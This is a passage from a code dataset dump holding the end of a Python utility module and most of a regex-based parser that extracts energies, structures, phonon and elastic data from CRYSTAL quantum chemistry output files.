SHAPEFILE\n\ndef exist_shapefile_inside_zip(zip_reference):\n list_file_names_of_zip = zip_reference.namelist()\n\n for file_name_in_zip in list_file_names_of_zip:\n # if exist a SHP file inside the zip, return true\n if file_name_in_zip.endswith(\".shp\"):\n return True\n\n return False\n\n\ndef get_shapefile_name_inside_zip(zip_reference):\n list_file_names_of_zip = zip_reference.namelist()\n\n for file_name_in_zip in list_file_names_of_zip:\n # if exist a SHP file inside the zip, return true\n if file_name_in_zip.endswith(\".shp\"):\n return file_name_in_zip\n\n raise HTTPError(400, \"Invalid ZIP! It is necessary to exist a ShapeFile (.shp) inside de ZIP.\") # 400 - Bad request\n\n\n# OTHERS\n\ndef get_current_datetime(formatted=True):\n now = datetime.now()\n\n if formatted:\n now = now.strftime(\"%Y-%m-%d %H:%M\")\n\n return now\n\n\ndef get_username_and_password_as_string_in_base64(username, password):\n username_and_password = username + \":\" + password\n\n string_in_base64 = (b64encode(username_and_password.encode('utf-8'))).decode('utf-8')\n\n return string_in_base64\n\n\ndef generate_random_string(size=6, chars=ascii_uppercase + digits):\n \"\"\"\n #Source: https://stackoverflow.com/questions/2257441/random-string-generation-with-upper-case-letters-and-digits-in-python\n \"\"\"\n return ''.join(choice(chars) for _ in range(size))\n\n","sub_path":"modules/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225828400","text":"\nimport math\nimport re\nimport time\nimport copy\nfrom fractions import Fraction\nfrom pathlib import PurePath\n\nfrom numpy import cross\nfrom ase.data import chemical_symbols, atomic_numbers\nfrom ase.geometry import cellpar_to_cell\nfrom ase.units import Hartree\nfrom ase import Atoms\n\n\ndef find_all(a_str, sub):\n \"\"\"\n String finder iterator\n \"\"\"\n start = 0\n while True:\n start = a_str.find(sub, start)\n if start == -1:\n return\n yield start\n start += len(sub)\n\n\ndef metric(v):\n \"\"\"\n Get the direction of a vector\n \"\"\"\n return [int(math.copysign(1, x)) if x else 0 for x in v]\n\n\nclass CRYSTOUT_Error(Exception):\n def __init__(self, msg, code=0):\n Exception.__init__(self)\n self.msg = msg\n self.code = code\n\n def __str__(self):\n return repr(self.msg)\n\n\n# noinspection PyTypeChecker\nclass CRYSTOUT(object):\n patterns = {\n\n # struct & energy\n 'Etot': re.compile(r\"\\n\\sTOTAL ENERGY\\(.{2,3}\\)\\(.{2}\\)\\(.{3,4}\\)\\s(\\S{20})\\s{1,10}DE(?!.*\\n\\s\"\n r\"TOTAL ENERGY\\(.{2,3}\\)\\(.{2}\\)\\(.{3,4}\\)\\s)\", re.DOTALL),\n 'dEtot': re.compile(r\"\\sTOTAL ENERGY\\(.{2,3}\\)\\(.{2}\\)\\(.{3,4}\\).{21}\\s{1,10}DE\\s*[(AU)]*\\s*\"\n r\"([-+\\d.E]*)\", re.DOTALL),\n 'pEtot': re.compile(r\"\\n\\sTOTAL ENERGY\\s(.+?)\\sCONVERGENCE\"),\n 'syminfos': re.compile(r\"SYMMOPS - TRANSLATORS IN FRACTIONA\\w{1,2} UNITS(.+?)\\n\\n\", re.DOTALL),\n 'frac_primitive_cells': re.compile(r\"\\n\\sPRIMITIVE CELL(.+?)ATOM BELONGING TO THE ASYMMETRIC UNIT\", re.DOTALL),\n 'molecules': re.compile(r\"\\n\\sATOMS IN THE ASYMMETRIC UNIT(.+?)\"\n r\"ATOM BELONGING TO THE ASYMMETRIC UNIT\", re.DOTALL),\n 'cart_vectors': re.compile(r\"DIRECT LATTICE VECTORS CARTESIAN COMPONENTS \\(ANGSTROM\\)(.+?)\\n\\n\",\n re.DOTALL),\n 'crystallographic_cell': re.compile(r\"\\n\\sCRYSTALLOGRAPHIC(.+?)\\n\\sT\\s=\", re.DOTALL),\n 'at_str': re.compile(r\"^\\s{0,6}\\d{1,4}\\s\"),\n 'supmatrix': re.compile(r\"EXPANSION MATRIX OF PRIMITIVE CELL(.+?)\\sNUMBER OF ATOMS PER SUPERCELL\",\n re.DOTALL),\n\n # charges & magmoms\n 'charges': re.compile(r\"ALPHA\\+BETA ELECTRONS\\n\"\n r\"\\sMULLIKEN POPULATION ANALYSIS(.+?)OVERLAP POPULATION CONDENSED TO ATOMS\",\n re.DOTALL),\n 'magmoms': re.compile(r\"ALPHA-BETA ELECTRONS\\n\"\n r\"\\sMULLIKEN POPULATION ANALYSIS(.+?)OVERLAP POPULATION CONDENSED TO ATOMS\",\n re.DOTALL),\n 'icharges': re.compile(r\"\\n\\sATOMIC NUMBER(.{4}),\\sNUCLEAR CHARGE(.{7}),\"),\n 'born_charges': re.compile(r\"\\n\\sATOM(.*)DYNAMIC CHARGE(.*)\"),\n\n # scf & electrons\n 'starting_ion': re.compile(r\"\\n OPTOPTOPTOPTOPT\"),\n 'scf_converge': re.compile(r\" == SCF ENDED - CONVERGENCE ON ENERGY {6}E\\(AU\\)\\s*\"\n r\"([-+\\dE.]*)\\s*CYCLES\\s*([\\d]*)\", re.DOTALL),\n 'ion_converge': re.compile(r\" \\* OPT END - CONVERGED \\* E\\(AU\\):\\s*([-+\\dE.]*)\\s*POINTS\\s*([\\d]*) \\*\",\n re.DOTALL),\n 'conduction_states': re.compile(r\"(INSULATING|CONDUCTING) STATE(.*?)TTTTTTT\", re.DOTALL),\n 'top_valence': re.compile(r\"TOP OF VALENCE BANDS - {4}BAND\\s*(\\d*); K\\s*(\\d*); EIG\\s*([-.E\\d]*) AU\", re.DOTALL),\n 'bottom_virtual': re.compile(r\"BOTTOM OF VIRTUAL BANDS - BAND\\s*(\\d*); K\\s*(\\d*); EIG\\s*([-.E\\d]*) AU\",\n re.DOTALL),\n 'band_gap': re.compile(r\"(DIRECT|INDIRECT) ENERGY BAND GAP:\\s*([.\\d]*)\", re.DOTALL),\n 'e_fermi': re.compile(r\"EFERMI\\(AU\\)\\s*([-+.E\\d]*)\", re.DOTALL),\n\n # nums of ...\n 'n_atoms': re.compile(r\"\\sN. OF ATOMS PER CELL\\s*(\\d*)\", re.DOTALL),\n 'n_shells': re.compile(r\"\\sNUMBER OF SHELLS\\s*(\\d*)\", re.DOTALL),\n 'n_ao': re.compile(r\"\\sNUMBER OF AO\\s*(\\d*)\", re.DOTALL),\n 'n_electrons': re.compile(r\"\\sN. OF ELECTRONS PER CELL\\s*(\\d*)\", re.DOTALL),\n 'n_core_el': re.compile(r\"\\sCORE ELECTRONS PER CELL\\s*(\\d*)\", re.DOTALL),\n 'n_symops': re.compile(r\"\\sN. OF SYMMETRY OPERATORS\\s*(\\d*)\", re.DOTALL),\n\n # phonons\n 'freqs': re.compile(r\"DISPERSION K POINT(.+?)FREQ\\(CM\\*\\*-1\\)\", re.DOTALL),\n 'gamma_freqs': re.compile(r\"\\(HARTREE\\*\\*2\\)\\s*\\(CM\\*\\*-1\\)\\s*\\(THZ\\)\\s*\\(KM/MOL\\)(.+?)\"\n r\"NORMAL MODES NORMALIZED TO CLASSICAL AMPLITUDES\", re.DOTALL),\n 'ph_eigvecs': re.compile(r\"NORMAL MODES NORMALIZED TO CLASSICAL AMPLITUDES(.+?)(T|H|S){30}\", re.DOTALL), # NB T can be {79}\n 'raman_intens': re.compile(r\"\\n\\n(.*)\\n\\n\", re.DOTALL),\n 'needed_disp': re.compile(r\"\\d{1,4}\\s{2,6}(\\d{1,4})\\s{1,3}\\w{1,2}\\s{11,12}(\\w{1,2})\\s{11,12}\\d{1,2}\"),\n 'symdisps': re.compile(r\"N {3}LABEL SYMBOL DISPLACEMENT {5} SYM.(.*)NUMBER OF IRREDUCIBLE ATOMS\",\n re.DOTALL),\n 'ph_k_degeneracy': re.compile(r\"K {7}WEIGHT {7}COORD(.*)AND RECIPROCAL LATTICE VECTORS\", re.DOTALL),\n\n # optics\n 'refrind': re.compile(r\"REFRACTIVE\\sINDICES(.*?)\\n\\n\", re.DOTALL),\n 'birefringence': re.compile(r\"BIREFRINGENCE\\s=(.*)\\n\"),\n\n # auxiliary\n 'starting': re.compile(r\"EEEEEEEEEE STARTING(.+?)\\n\"),\n 'ending': re.compile(r\"EEEEEEEEEE TERMINATION(.+?)\\n\"),\n 'cyc': re.compile(r\"\\n\\sCYC\\s(.+?)\\n\"),\n 'enes': re.compile(r\"\\n\\sTOTAL ENERGY\\((.+?)\\n\"),\n 't1': re.compile(r\"\\n\\sMAX\\sGRADIENT(.+?)\\n\"),\n 't2': re.compile(r\"\\n\\sRMS\\sGRADIENT(.+?)\\n\"),\n 't3': re.compile(r\"\\n\\sMAX\\sDISPLAC.(.+?)\\n\"),\n 't4': re.compile(r\"\\n\\sRMS\\sDISPLAC.(.+?)\\n\"),\n 'version': re.compile(r\"\\s\\s\\s\\s\\sCRYSTAL\\d{2}(.*)\\*\\n\", re.DOTALL),\n\n # thermodynamics & elastic\n 'pv': re.compile(r\"\\n PV {12}:\\s(.*)\\n\"),\n 'ts': re.compile(r\"\\n TS {12}:\\s(.*)\\n\"),\n 'et': re.compile(r\"\\n ET {12}:\\s(.*)\\n\"),\n 'T': re.compile(r\"\\n AT \\(T =(.*)K, P =(.*)MPA\\):\\n\"),\n 'entropy': re.compile(r\"\\n ENTROPY {7}:\\s(.*)\\n\"),\n 'C': re.compile(r\"\\n HEAT CAPACITY :\\s(.*)\\n\"),\n 'elastic_constants': re.compile(r\" SYMMETRIZED ELASTIC CONSTANTS .*\\n\\n\"\n r\" \\| ([.\\d\\s]*) \\|\\n\"\n r\" \\| ([.\\d\\s]*) \\|\\n\"\n r\" \\| ([.\\d\\s]*) \\|\\n\"\n r\" \\| ([.\\d\\s]*) \\|\\n\"\n r\" \\| ([.\\d\\s]*) \\|\\n\"\n r\" \\| ([.\\d\\s]*) \\|\\n\"),\n 'elastic_moduli': re.compile(r\" ELASTIC MODULI .*\\n\\n\"\n r\" \\| ([-.\\d\\s]*) \\|\\n\"\n r\" \\| ([-.\\d\\s]*) \\|\\n\"\n r\" \\| ([-.\\d\\s]*) \\|\\n\"\n r\" \\| ([-.\\d\\s]*) \\|\\n\"\n r\" \\| ([-.\\d\\s]*) \\|\\n\"\n r\" \\| ([-.\\d\\s]*) \\|\\n\"),\n 'effective_moduli': re.compile(r\"K_V\\s*G_V.*\\n\\n([-.\\d\\s*]*)\"),\n }\n\n code_marker = \"* MAIN AUTHORS\" # this is how we determine the expected logs\n\n # this is the limiting cell vectors length (no physical meaning)\n # if more, the direction is considered non-periodic\n # NB non-periodic component(s) are assigned to 500 A in CRYSTAL\n # TODO what if non-periodicity is modeled with the large cell vectors like in PW codes?\n PERIODIC_LIMIT = 300\n\n def __init__(self, filename, **kwargs):\n\n self.data = '' # file contents\n self.pdata = None # PROPERTIES part\n self.properties_calc, self.crystal_calc = False, False\n\n self.info = {\n 'warns': [],\n 'prog': None, # code version\n 'techs': [],\n 'finished': 0x0,\n 'duration': None,\n 'timestamp': None, # time of calc start, in Unix time fmt\n 'input': None,\n 'structures': [], # list of valid ASE objects\n 'energy': None, # in eV\n 'e_accuracy': None,\n 'scf_conv': None,\n 'ion_conv': None,\n 'H': None,\n 'H_types': [], # can be 0x1, 0x2, 0x4, and 0x5\n 'tol': None,\n 'k': None,\n 'smear': None, # in a.u.\n 'spin': False,\n 'lockstate': None,\n 'convergence': [], # zero-point energy convergence\n 'conduction': [],\n 'optgeom': [], # optimization convergence, list of lists, 5 values each\n 'ncycles': [], # number of cycles at each optimisation step\n 'n_atoms': None,\n 'n_shells': None,\n 'n_ao': None,\n 'n_electrons': None,\n 'n_core_el': None,\n 'n_symops': None,\n\n 'electrons': {\n 'basis_set': None, # LCAO Gaussian basis sets in form: {'bs': {...}, 'ecp': {...}}\n 'eigvals': {}, # raw eigenvalues {k:{alpha:[...], beta:[...]},}\n 'projected': [], # raw eigenvalues [..., ...] for total DOS smearing\n 'dos': {}, # in advance pre-computed DOS\n 'bands': {}, # in advance pre-computed band structure\n },\n 'phonons': {\n 'modes': {},\n 'irreps': {},\n 'ir_active': [],\n 'raman_active': [],\n 'ph_eigvecs': {},\n 'ph_k_degeneracy': {},\n 'dfp_disps': [],\n 'dfp_magnitude': None,\n 'dielectric_tensor': False,\n 'zpe': None,\n 'td': None,\n 'born_charges': {},\n },\n 'elastic': {\n 'elastic_constants': [],\n 'elastic_moduli': [],\n 'K_V': None,\n 'G_V': None,\n 'K_R': None,\n 'G_R': None,\n 'K': None,\n 'G': None,\n 'E': None,\n 'v': None,\n # 'seismic_velocities': {},\n },\n 'optics': {\n 'birefringence': None,\n 'refrind': None,\n },\n }\n\n open_close = isinstance(filename, (str, PurePath))\n if open_close:\n raw_data = open(filename).read()\n else:\n filename.seek(0)\n raw_data = filename.read()\n\n # normalize breaks and get rid of the possible odd MPI incusions in important data\n raw_data = raw_data.replace('\\r\\n', '\\n').replace('\\r', '\\n').replace('FORTRAN STOP\\n', '')\n parts_pointer = list(find_all(raw_data, CRYSTOUT.code_marker))\n\n # determine whether to deal with the CRYSTAL and/or PROPERTIES output formats\n if len(parts_pointer) > 1:\n if (not CRYSTOUT.is_properties(raw_data[parts_pointer[1]:]) and\n len(raw_data[parts_pointer[1]:]) > 2000): # in case of empty properties outputs\n raise CRYSTOUT_Error('File contains several merged outputs, currently not supported')\n else:\n self.data = raw_data[parts_pointer[0]: parts_pointer[1]]\n self.pdata = raw_data[parts_pointer[1]:]\n self.properties_calc, self.crystal_calc = True, True\n\n elif len(parts_pointer) == 1:\n if not CRYSTOUT.is_properties(raw_data[parts_pointer[0]:]):\n self.data, self.crystal_calc = raw_data[parts_pointer[0]:], True\n else:\n self.pdata, self.properties_calc = raw_data[parts_pointer[0]:], True\n\n if not self.crystal_calc and not self.properties_calc:\n raise CRYSTOUT_Error('Although looks similar to CRYSTAL output, the format is unknown')\n\n if not self.crystal_calc and self.properties_calc:\n raise CRYSTOUT_Error('PROPERTIES output with insufficient information omitted')\n\n self.info['duration'], self.info['timestamp'] = self.get_timings()\n self.comment, self.info['input'], self.info['prog'] = self.get_input_and_meta(raw_data[0:parts_pointer[0]])\n self.molecular_case = ' MOLECULAR CALCULATION' in self.data\n self.info['energy'] = self.get_etot()\n self.info['e_accuracy'] = self.get_detot()\n self.info['structures'] = self.get_structures()\n\n self.decide_charges()\n self.decide_finished()\n self.decide_method()\n self.decide_scfdata()\n\n self.info['scf_conv'], self.info['ion_conv'] = self.get_convergence()\n self.info['conduction'] = self.get_conduction()\n\n self.info['electrons']['basis_set'] = self.get_bs()\n\n self.info['phonons']['ph_k_degeneracy'] = self.get_k_degeneracy()\n self.info['phonons']['modes'], self.info['phonons']['irreps'], \\\n self.info['phonons']['ir_active'], self.info['phonons']['raman_active'] = self.get_phonons()\n self.info['phonons']['ph_eigvecs'] = self.get_ph_eigvecs()\n self.info['phonons']['dfp_disps'], self.info['phonons']['dfp_magnitude'] = self.get_ph_sym_disps()\n self.info['phonons']['dielectric_tensor'] = self.get_static_dielectric_tensor()\n if self.info['phonons']['ir_active']:\n self.info['phonons']['born_charges'] = self.get_born_charges()\n\n # extract zero-point energy, depending on phonons presence\n if self.info['phonons']['modes']:\n self.info['phonons']['zpe'] = self.get_zpe()\n self.info['phonons']['td'] = self.get_td()\n\n # format phonons k_degeneracy\n if self.info['phonons']['ph_k_degeneracy']:\n bz, d = [], []\n for k, v in self.info['phonons']['ph_k_degeneracy'].items():\n bz.append(self.info['phonons']['ph_k_degeneracy'][k]['bzpoint'])\n d.append(self.info['phonons']['ph_k_degeneracy'][k]['degeneracy'])\n self.info['phonons']['ph_k_degeneracy'] = {}\n for n in range(len(bz)):\n self.info['phonons']['ph_k_degeneracy'][bz[n]] = d[n]\n\n # get numbers of electrons, ao, etc\n self.info['n_atoms'] = self.get_number('n_atoms')\n self.info['n_shells'] = self.get_number('n_shells')\n self.info['n_ao'] = self.get_number('n_ao')\n self.info['n_electrons'] = self.get_number('n_electrons')\n self.info['n_core_el'] = self.get_number('n_core_el')\n self.info['n_symops'] = self.get_number('n_symops')\n\n # get elastic constants\n self.info['elastic']['elastic_constants'] = self.get_elastic('elastic_constants')\n self.info['elastic']['elastic_moduli'] = self.get_elastic('elastic_moduli')\n\n if ' OPTIMIZE THE STRUCTURE AND RE-RUN\\n' in self.data:\n raise CRYSTOUT_Error('Inadequate elastic calculation: additional optimization needed')\n\n k_v, g_v, k_r, g_r, k, g, e, v = self.get_effective_elastic_moduli()\n self.info['elastic']['K_V'] = k_v\n self.info['elastic']['G_V'] = g_v\n self.info['elastic']['K_R'] = k_r\n self.info['elastic']['G_R'] = g_r\n self.info['elastic']['K'] = k\n self.info['elastic']['G'] = g\n self.info['elastic']['E'] = e\n self.info['elastic']['v'] = v\n\n # get light refraction props\n self.info['optics']['refrind'], self.info['optics']['birefringence'] = self.get_optics()\n\n def warning(self, msg):\n self.info['warns'].append(msg)\n\n def __repr__(self):\n return repr(self.info)\n\n def __getitem__(self, key):\n return self.info.get(key)\n\n @staticmethod\n def detect(test_string):\n try:\n return test_string.find(CRYSTOUT.code_marker) != -1\n except Exception:\n return test_string.find(bytes(CRYSTOUT.code_marker, encoding='utf-8', errors='ignore')) != -1\n\n @staticmethod\n def acceptable(filename):\n open_close = isinstance(filename, (str, PurePath))\n if open_close:\n f = open(filename, 'rb')\n else:\n f = filename\n\n counter = 0\n\n while counter < 700:\n fingerprint = f.read(32768)\n if CRYSTOUT.detect(fingerprint):\n if open_close:\n f.close()\n return True\n counter += 1\n\n if open_close:\n f.close()\n\n return False\n\n @staticmethod\n def is_properties(piece_of_data):\n if (\" RESTART WITH NEW K POINTS NET\" in piece_of_data\n or \" CRYSTAL - PROPERTIES\" in piece_of_data\n or \"Wavefunction file can not be found\" in piece_of_data):\n return True\n else:\n return False\n\n def get_cart2frac(self):\n matrix = []\n vectors = self.patterns['cart_vectors'].findall(self.data)\n\n if vectors:\n lines = vectors[-1].splitlines()\n for line in lines:\n vector = line.split()\n try:\n vector[0] and float(vector[0])\n except (ValueError, IndexError):\n continue\n for n in range(3):\n vector[n] = float(vector[n])\n # check whether angstroms are used instead of fractions\n if vector[n] > self.PERIODIC_LIMIT:\n vector[n] = self.PERIODIC_LIMIT\n matrix.append(vector)\n else:\n if not self.molecular_case:\n raise CRYSTOUT_Error('Unable to extract cartesian vectors')\n\n return matrix\n\n def get_structures(self):\n structures = []\n if self.molecular_case:\n used_pattern = self.patterns['molecules']\n else:\n used_pattern = self.patterns['frac_primitive_cells']\n\n strucs = used_pattern.findall(self.data)\n\n if not strucs:\n raise CRYSTOUT_Error('No structure was found')\n\n cell = self.get_cart2frac()\n\n for crystal_data in strucs:\n symbols, parameters, atompos, pbc = [], [], [], [True, True, True]\n\n if self.molecular_case:\n pbc = False\n\n crystal_data = re.sub(' PROCESS(.{32})WORKING\\n', '',\n crystal_data) # Warning! MPI statuses may spoil valuable data\n\n # this is to account correct cart->frac atomic coords conversion using cellpar_to_cell ASE routine\n # 3x3 cell is used only here to obtain ab_normal and a_direction\n ab_normal = [0, 0, 1] if self.molecular_case else metric(cross(cell[0], cell[1]))\n a_direction = None if self.molecular_case else metric(cell[0])\n\n other = self.patterns['crystallographic_cell'].search(crystal_data)\n if other is not None:\n crystal_data = crystal_data.replace(other.group(), \"\") # delete other cells info except primitive cell\n\n lines = crystal_data.splitlines()\n for li in range(len(lines)):\n if 'ALPHA BETA GAMMA' in lines[li]:\n parameters = lines[li + 1].split()\n try:\n parameters = [float(item) for item in parameters]\n except ValueError:\n raise CRYSTOUT_Error('Cell data are invalid: ' + lines[li + 1])\n\n elif self.patterns['at_str'].search(lines[li]):\n atom = lines[li].split()\n if len(atom) in [7, 8] and len(atom[-2]) > 7:\n for n in range(4, 7):\n try:\n atom[n] = round(float(atom[n]), 10)\n except ValueError:\n raise CRYSTOUT_Error('Atomic coordinates are invalid')\n\n # NB we lose here the non-equivalency in the same atom types, denoted by different integers\n # For magmoms refer to the corresponding property\n atom[3] = ''.join([letter for letter in atom[3] if not letter.isdigit()]).capitalize()\n if atom[3] == 'Xx':\n atom[3] = 'X'\n symbols.append(atom[3])\n atomdata = atom[4:7]\n # atomdata.append(atom[1]) # irreducible (T or F)\n atompos.append(atomdata)\n\n if len(atompos) == 0:\n raise CRYSTOUT_Error('No atoms found, cell info is corrupted')\n\n if parameters and len([x for x in parameters if x > 0.75]) < 6:\n raise CRYSTOUT_Error('Cell is collapsed') # cell collapses are known in CRYSTAL RESTART outputs\n\n # check whether angstroms are used instead of fractions\n if pbc:\n for n in range(3):\n if parameters[n] > self.PERIODIC_LIMIT:\n parameters[n] = self.PERIODIC_LIMIT\n pbc[n] = False\n\n # TODO: account case with not direct angles?\n for j in range(len(atompos)):\n atompos[j][n] /= self.PERIODIC_LIMIT\n\n matrix = cellpar_to_cell(parameters, ab_normal,\n a_direction)\n # TODO: ab_normal, a_direction may in some cases belong to completely other structure\n structures.append(Atoms(symbols=symbols, cell=matrix, scaled_positions=atompos, pbc=pbc))\n else:\n structures.append(\n Atoms(symbols=symbols, cell=[self.PERIODIC_LIMIT] * 3,\n positions=atompos, pbc=False))\n\n return structures\n\n def get_conduction(self):\n result = []\n states = self.patterns['conduction_states'].findall(self.data)\n for state in states:\n state_dict = {'state': state[0]}\n if state[0] == \"INSULATING\":\n # dealing with band gaps\n try:\n top = self.patterns['top_valence'].search(state[1]).groups()\n bottom = self.patterns['bottom_virtual'].search(state[1]).groups()\n except AttributeError:\n continue\n state_dict['top_valence'] = int(top[0])\n state_dict['bottom_virtual'] = int(bottom[0])\n gap_re = self.patterns['band_gap'].search(state[1])\n state_dict['band_gap'] = None\n if gap_re is not None:\n bg_type, bg = gap_re.groups()\n state_dict['band_gap_type'] = bg_type\n try: state_dict['band_gap'] = float(bg)\n except ValueError: pass\n else:\n # try to deduce band gap from eigenvalues\n state_dict['band_gap_type'] = \"INDIRECT\" if top[1] != bottom[1] else \"DIRECT\"\n try: state_dict['band_gap'] = (float(bottom[2]) - float(top[2])) * Hartree\n except ValueError: pass\n else:\n # dealing with Fermi energies\n try:\n state_dict['e_fermi'] = float(self.patterns['e_fermi'].search(state[1]).groups()[0])\n except ValueError:\n state_dict['e_fermi'] = None # NaN\n state_dict['e_fermi_units'] = 'Ha'\n result.append(state_dict)\n return result\n\n def get_etot(self):\n e = self.patterns['Etot'].search(self.data)\n\n if e is not None:\n return float(e.groups()[0]) * Hartree\n else:\n if ' CENTRAL POINT ' in self.data:\n phonon_e = self.data.split(' CENTRAL POINT ')[-1].split(\"\\n\", 1)[0]\n phonon_e = phonon_e.split()[0]\n return float(phonon_e) * Hartree\n else:\n self.warning('No energy found')\n return None\n\n def get_number(self, pat_name):\n num = self.patterns[pat_name].search(self.data)\n\n if num is not None:\n return int(num.groups()[0])\n return None\n\n def get_detot(self):\n de = self.patterns['dEtot'].search(self.data)\n if de is not None and de.groups()[0]:\n # it might happen that DE is equal to NaN\n return float(de.groups()[0]) * Hartree\n return None\n\n def get_convergence(self):\n \"\"\"\n Returns electronic and ionic convergence\n \"\"\"\n if not self.info['convergence']:\n return None, None\n # electronic convergence\n conv_el_re = self.patterns['scf_converge'].search(self.data)\n conv_el = False if conv_el_re is None else bool(conv_el_re.groups())\n # ionic convergence\n optgeom_re = self.patterns['starting_ion'].search(self.data)\n if optgeom_re is None:\n return conv_el, None\n conv_ion_re = self.patterns['ion_converge'].search(self.data)\n conv_ion = False if conv_ion_re is None else bool(conv_ion_re.groups())\n return conv_el, conv_ion\n\n def get_phonons(self):\n if \"U U EEEE N N CCC Y Y\" not in self.data:\n return None, None, None, None\n\n freqdata = []\n freqsp = self.patterns['freqs'].findall(self.data)\n if freqsp:\n for item in freqsp:\n freqdata.append([_f for _f in item.strip().splitlines() if _f])\n else:\n freqsp = self.patterns['gamma_freqs'].search(self.data)\n if freqsp is None:\n return None, None, None, None\n else:\n freqdata.append([_f for _f in freqsp.group(1).strip().splitlines() if _f])\n\n bz_modes, bz_irreps, kpoints = {}, {}, []\n ir_active, ir_intens, raman_active = [], [], []\n\n has_ir_intens = \"IR INTENSITIES EVALUATED\" in self.data\n\n for freqset in freqdata:\n modes, irreps = [], []\n for line in freqset:\n if \" R( \" in line or \" C( \" in line: # k-coords\n coords = line.split(\"(\")[-1].split(\")\")[0].split()\n kpoints.append(\" \".join(coords))\n continue\n\n if \"(\" in line and \")\" in line: # filter lines with freqs: condition 1 from 3\n val = line.split()\n if len(val) < 5:\n continue # filter lines with freqs: condition 2 from 3\n try:\n float(val[2]) + float(val[3])\n except ValueError:\n continue # filter lines with freqs: condition 3 from 3\n\n nmodes = [_f for _f in val[0].split(\"-\") if _f]\n if len(nmodes) == 1: # fixed place for numericals\n mplr = int(val[1]) - int(val[0].replace(\"-\", \"\")) + 1\n for _ in range(mplr):\n modes.append(float(val[3]))\n irrep = val[5].replace(\"(\", \"\").replace(\")\", \"\").strip()\n if not irrep:\n irrep = val[6].replace(\"(\", \"\").replace(\")\", \"\").strip()\n irreps.append(irrep.replace('\"', \"''\"))\n\n else: # fixed place for numericals\n mplr = int(nmodes[1]) - int(nmodes[0]) + 1\n for _ in range(mplr):\n modes.append(float(val[2]))\n irrep = val[4].replace(\"(\", \"\").replace(\")\", \"\").strip()\n if not irrep:\n irrep = val[5].replace(\"(\", \"\").replace(\")\", \"\").strip()\n irreps.append(irrep.replace('\"', \"''\"))\n # IR / RAMAN data ( * mplr )\n c = 0\n for n in range(-4, 0):\n if val[n] in ['A', 'I']:\n if c == 0:\n ir_active.extend([val[n] == 'A'] * mplr)\n else:\n raman_active.extend([val[n] == 'A'] * mplr)\n c += 1\n elif val[n].endswith(')') and has_ir_intens:\n try:\n ir_intens.extend([float(val[n].replace('(', '').replace(')', ''))] * mplr) # KM/MOL\n except ValueError:\n ir_intens, has_ir_intens = False, False\n self.warning('Unrecoverable problem with IR intensities')\n\n if not kpoints:\n BZ_point_coord = '0 0 0'\n else:\n BZ_point_coord = kpoints[-1]\n\n # normalize special symmerty point coords, if any\n if self.info['phonons']['ph_k_degeneracy']:\n BZ_point_coord = self.info['phonons']['ph_k_degeneracy'][BZ_point_coord]['bzpoint']\n\n bz_modes[BZ_point_coord] = modes\n bz_irreps[BZ_point_coord] = irreps\n\n # move IR intensities into an *active* container\n # if ir_intens:\n # assert len(ir_active) == len(ir_intens)\n # this condition fails for zero intensities, attributed to the modes which are however marked as IR-active\n # for n, item in enumerate(ir_intens):\n # # translation mode value around zero\n # assert bool(item) == bool(ir_active[n]) or abs(bz_modes['0 0 0'][n]) < 15\n if ir_intens:\n ir_active = [item or False for item in ir_intens]\n\n # get Raman intensities and\n # move Raman intensities into an *active* container\n raman_data = self.patterns['raman_intens'].search(self.data)\n if raman_data is not None:\n parts = raman_data.group().split('ARBITRARY UNITS')\n for line in parts[1].split('\\n\\n')[1].splitlines(): # POLYCRYSTALLINE ISOTROPIC INTENSITIES\n if len(line.split()) < 6:\n continue\n m1, m2 = [int(x) - 1 for x in line[:10].split('-')]\n # assert (m2 - m1) < 3\n # irrep = line[10:30].split('(')[1].replace(')', '').strip().replace('\"', \"''\")\n # assert bz_irreps['0 0 0'][m1] == irrep and bz_irreps['0 0 0'][m2] == irrep\n # assert raman_active[m1] and raman_active[m2]\n tot, par, perp = [float(x) for x in line[30:].split()]\n tot, par, perp = [None if math.isnan(x) else x for x in [tot, par, perp]]\n raman_active[m1] = dict(tot=tot, par=par, perp=perp)\n raman_active[m2] = dict(tot=tot, par=par, perp=perp)\n for line in parts[2].split('\\n\\n')[1].splitlines(): # SINGLE CRYSTAL DIRECTIONAL INTENSITIES\n if len(line.split()) < 9:\n continue\n m1, m2 = [int(x) - 1 for x in line[:10].split('-')]\n # assert (m2 - m1) < 3\n # irrep = line[10:30].split('(')[1].replace(')', '').strip().replace('\"', \"''\")\n # assert bz_irreps['0 0 0'][m1] == irrep and bz_irreps['0 0 0'][m2] == irrep\n xx, xy, xz, yy, yz, zz = [float(x) for x in line[30:].split()]\n xx, xy, xz, yy, yz, zz = [None if math.isnan(x) else x for x in [xx, xy, xz, yy, yz, zz]]\n raman_active[m1].update(dict(xx=xx, xy=xy, xz=xz, yy=yy, yz=yz, zz=zz))\n raman_active[m2].update(dict(xx=xx, xy=xy, xz=xz, yy=yy, yz=yz, zz=zz))\n\n return bz_modes, bz_irreps, ir_active, raman_active\n\n def get_ph_eigvecs(self):\n if not self.info['phonons']['modes']:\n return None\n\n eigvecdata = []\n eigvecsp = self.patterns['ph_eigvecs'].search(self.data)\n if eigvecsp:\n eigvecsp = eigvecsp.group(1)\n parts = eigvecsp.split(\"DISPERSION K POINT\")\n parts[0] = parts[0].split(\"LO-TO SPLITTING\")[0] # no lo-to splitting accounted at the moment\n for bzpoint in parts:\n eigvecdata.append(bzpoint.split(\"FREQ(CM**-1)\"))\n else:\n self.warning('Cannot get eigenvectors, unexpected format')\n return None\n\n natseq = list(range(1, len(self.info['structures'][-1]) + 1))\n bz_eigvecs, kpoints = {}, []\n for set in eigvecdata:\n ph_eigvecs = []\n for item in set:\n rawdata = [_f for _f in item.strip().splitlines() if _f]\n freqs_container = []\n involved_atoms = []\n for deck in rawdata:\n if \" R( \" in deck or \" C( \" in deck: # k-coords\n coords = deck.split('(')[-1].split(')')[0].split()\n kpoints.append(\" \".join(coords))\n continue\n vectordata = deck.split()\n if vectordata[0] == 'AT.':\n involved_atoms.append(int(vectordata[1]))\n vectordata = vectordata[4:]\n elif vectordata[0] == 'Y' or vectordata[0] == 'Z':\n vectordata = vectordata[1:]\n else:\n continue\n\n if not len(freqs_container):\n for _ in range(len(vectordata)):\n freqs_container.append([]) # 6 (or 3) columns\n for k in range(len(vectordata)):\n vectordata[k] = float(vectordata[k])\n if math.isnan(vectordata[k]):\n raise CRYSTOUT_Error('Phonon eigenvector error: NaN occured')\n freqs_container[k].append(vectordata[k])\n\n for fn in 